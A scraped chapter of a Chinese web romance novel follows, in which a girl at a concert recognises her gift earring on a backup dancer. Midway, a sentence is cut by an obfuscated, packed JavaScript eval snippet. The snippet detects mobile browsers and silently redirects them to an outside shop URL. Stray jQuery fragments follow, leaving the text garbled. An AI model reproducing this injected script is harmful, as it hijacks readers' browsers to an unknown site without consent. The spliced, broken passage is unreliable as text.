文趣网 > 都市小说 > 我不考第一,你真的会死 > 31. 最帅那个
    这之后,一直到演唱会,郁泊言没再来过学校,两个人也没再联系。

    一来自己被红色感叹号了,想联系也没得联系方式,二来人尽皆知郁泊言最近在准备演唱会,黎初很有眼力见地不去给人家找不痛快。

    不过虽然被拉黑了,但演唱会这么好的票,没有不去的道理。

    演唱会在周五晚上,下午四点钟检票进场,黎初和蔡蕊两点多就出发了,混迹在喧嚣热闹的人群中,被氛围感染整个人都沉浸在一种多巴胺飙升的兴奋中。

    两个人在会场外拍了许多照片,开始检票入场后,跟着大队伍检票入了场。

    场馆很大,分看台和池座,黎初和蔡蕊在底下的池座,离舞台不能说多近,也是顶好的座位了,至少看人不用全靠大屏了。

    为免万一,她们来的时候还特地租了望远镜,但以这个位置来看,应该是用不着的。

    几万人的馆,看台上已密密麻麻都是人,演出还没开始,各家的灯牌已经亮起来了,各自闪耀,争奇斗艳,场馆内顿时像一个五光十色的宝盒。

    后台,所有当晚有演出的艺人或团体都已经装扮完毕,场馆内休息室并不充足,除了头部比较红或是比较有资历的艺人有自己的休息室,其他人基本被打包扔在同一个大休息室里。

    同一个公司,难得盛装聚在一起,有三三两两低头说话的,有凑一起自拍合影的,有对着镜子整理头发孤芳自赏的,艺人加上工作人员,来来往往,热闹有序。

    作为一个毫无名气的预备团,郁泊言他们本该也被扔在这种休息室里自生自灭,但偏偏他们这次搭的是ETR师哥们,几个人自然跟师哥们待在同一个休息室。

    不过郁泊言本就不是什么守规矩的人,手里拿着一只不知道从哪里搞来的望远镜,出了休息室逆着人流在后台游荡,站在舞台后面举着望远镜朝观众席看。

    入目密密麻麻,什么都看不清楚,郁泊言望远镜举了好一会儿,远远瞧见黎初确实是跟一个女生一起来的,蹙着的眉舒展了几分,心道还算诚实。

    “小郁?马上开场了,在这干嘛呢?”

    郁泊言回头,跟一个长相儒雅的中年男人打了个照面,“秦总。”

    “看什么呢?”秦兴调侃道,“这回亲友团是谁?郁总来捧场么?”

    “他?”提到父亲,郁泊言忍不住扯了扯唇角,“拉倒吧,他从来不关心我这些。”

    “你爸只是不当着你的面儿关注罢了,跟郁总说话他对你的行程可是了如指掌。”秦兴说,“后面找个机会,一起坐下来聊聊,你的发展也好,规划也好,跟你爸一起聊聊。”

    “您要有事儿想找我爸,直接联系他就行,又不是没他电话,不必带上我。”

    郁泊言说完要走,想到什么又顿了步子,“不过老板,我可能真有事想跟您谈谈.......”

    “算了,”话说到一半他又兀自摇了摇头,“等演唱会结束再说吧。”

    秦兴瞧着他,眼皮突然跳了下,“到底什么事儿啊,不能是你要解约吧?”

    他这么想其实并不离谱,因为郁泊言真是能干出这种离谱事儿的人。

    老实说,郁泊言是星聚所有签约艺人中最特殊的一个,一来他年纪很小就进了公司,高层和老牌艺人几乎是看着他长大的,对他都带着几分长辈式的偏爱,二来——这也是最重要的一方面,星聚最大的投资方是宏杉资本,而宏杉资本的背后是郁泊言的外公。

    裴家和郁家强强联合,郁泊言又是郁家一根独苗苗,自小万千宠爱,养成了随心所欲的少爷脾气。

    还记得刚来的时候,一个粉粉嫩嫩的小团子,还没他公司门口的盆栽高,气势却是足足的,小小一只对他们颐指气使,稍稍叫他不顺心不如意就喊着要解约,要换公司。最近几年也许是长大了开智了,倒是没有再喊过解约了,人也变得有谦和礼貌了.......

    总不能又变回去了吧?

    郁泊言对自家老板曲折的心路历程一无所知,闻言一乐,“怎么会,演唱会后再说。”

    说话间,开场节目的演员陆陆续续走了过来,已经准备好了上场,郁泊言拎着望远镜走开了,径自回了休息室。

    演唱会开场之后,一个节目接着一个节目,时间好像突然过得很快。

    他们的节目虽然靠后,但转眼前面也不剩几个了,有工作人员过来对细节,一时间有种马上要上场的错觉。

    郁泊言从小到大泡遍了大大小小的比赛和舞台,什么样的场面都见过,胆子早练出来了。可偏偏是今晚,他生出了久违的、细密又真切的紧绷。

    临近开场,任凭队友们在旁边聊天玩笑,郁泊言始终没有参与,一个人安安静静在角落里,对着视频在脑子里复盘动作,身体罕见有点僵。

    辰一涣忍不住稀奇,凑过来道:“你没事吧?今天话怎么这么少?”

    周皓洋瞧过去一眼,忍不住道:“他话什么时候多过。”

    “不一样,今天是格外的少。”辰一涣好奇道,“你躲这边不会是在复盘动作吧?今天怎么这么认真?”

    “我哪次不认真。”郁泊言说。

    辰一涣拍拍他僵硬的身体,脸微微凑过去:“你不会在紧张吧?”

    郁泊言蹙眉,却是没有立即否认。

    辰一涣本就随口一说,见状动作一顿,跟周皓洋对视,二人齐齐惊掉下巴。

    “真紧张啊?真给我稀奇坏了,你还会紧张?台下有谁在啊?让我猜猜......”

    “猜什么猜?”郁泊言闻言蹙眉,像被踩了尾巴,声音都大了几个分贝,“我妈我姨我姥!哪个不值得我紧张紧张?”

    一旁的师哥闻言莞尔,温声笑道:“那待会儿可要好好表现。”

    郁泊言隐约从师哥眼角的笑意里品出些意味不明,眼睫垂下去,没有言语。

    ......

    与此同时,黎初在观众席上坐着,手里的望远镜举着,每一个节目都看得异常仔细。

    是她看漏了吗?这转眼都不剩几个节目了,郁泊言怎么还不出现?

    蔡蕊在边上嗨,余光瞥见黎初心不在焉的模样,忍不住凑过来她耳边大声道:“怎么了?你在找什么?”

    黎初摇摇头,心里泛起嘀咕——算上收尾的大合唱就剩俩节目了,他跟她说压轴,不会真叫他压上了吧?

    沉思间,一段熟悉的旋律响起,是ETR的歌,场馆内瞬间沸腾起来,蔡蕊用力拍了拍她的胳膊,声音因激动带出几分颤抖,“来了来了来了,哥哥们呜呜呜,终于出来了.......”

    黎初抬眼望向舞台,目之所及,微微一怔。

    台上一共站了九个人,四位是ETR成员,余

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610950|204702||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下五个便是负责伴舞的预备团的师弟们。她甚至都不用刻意去搜寻,视线下意识就锁定了其中一道身影。

    哦,原来压轴的意思是,师哥们压轴,他们伴舞。

    黎初有点想笑,她也确实笑了。

    但看着看着她就不笑了,舞台上那个人是陌生的。

    那个人一身利落纯黑舞台装,版型利落修身,衬得少年身形挺拔清瘦,冷白的皮肤融进暗黑色调里,自带生人勿近的酷冷气场。

    一身沉黑之中,唯独左耳一枚亮眼的火红耳钉,热烈张扬的一点艳色,打破了满屏的冷峻沉闷,野得亮眼,一种带着锋芒的耀眼。

    黎初的目光骤然定格在那枚火红的耳钉上,整个人怔住。

    那个耳钉.......

    火红色的耳钉。

    好像是她送的那枚没错。

    他竟然戴上了?

    他哪里来的耳洞?

    为了这么个小东西,打了耳洞?

    也许是舞池音浪太强,连她的心脏都被震到有些发麻,跳动的频率都变得奇怪。

    她最喜欢的男团在唱她最喜欢的歌,在跳她最喜欢的舞,可她的目光却久久地落在一个伴舞身上,眼睛怎么也移不开。

    那枚耳钉,比她想象中还要适合他。

    他五官气质都太冷太硬,一身冷冽,左耳那一点艳色一定程度上中和了眉宇间迫人的傲气,整个人透出一种极具反差的美感,站在那里,便摄人心魄。

    老实说,郁泊言并不适合伴舞。

    因为这个人存在感过强。

    哪怕是站在最角落,哪怕是跳一样的动作,也能轻而易举喧宾夺主。

    灯光明灭,音乐声震耳,往周围看去,花花绿绿的灯牌中,没有一个上面写着郁泊言的名字。

    但这一时这一刻,黎初突然无比笃定,一定有那么一天,他会站在舞台的正中央,会有比这更多的人只为他而来。

    她跟蔡蕊一样,是冲着ETR来的,却始终看着那个人。

    没有拍照,没有记录,就只是隔着人潮静静看他——舞台真的很容易给人辅酶,她想。

    可是这是郁泊言哎,那个自以为是不断作死动不动乱生气神一阵鬼一阵的郁泊言……黎初拍拍脑子,终于清醒下来。

    愣怔间,蔡蕊胳膊肘怼了她两下,“看呆啦?真的好帅啊啊啊啊,两个小时的等待哥哥们值得呜呜呜,哎你怎么不拍照?我手机像素不行,你快多拍几张!”

    黎初回神,慢半拍拿了手机开始拍照,蔡蕊凑过来,怕她听不见声音很大,“伴舞们也拍拍,师弟们也好帅啊啊啊,我好像找到新担了,反正哥哥以后大概率转型演员了,搞团我就搞这个了!看到一个超帅的,快帮我拍!”

    黎初握着手机的动作一颤:“哪个?”

    “最帅那个!”

    “啊?但是郁泊言他……”

    “郁泊言是谁?”

    “你不是说最帅的.......”

    “是最帅那个啊,最左边那个,笑得很可爱那个!”

    黎初愣了愣,旋即莫名松一口气。

    ——“笑得很可爱”首先可以把某人排除掉了。

    至于为什么是松一口气,黎初来不及捕捉那种一闪而过的异样情绪。

    只觉得有点心慌,一种从未有过的陌生的心慌。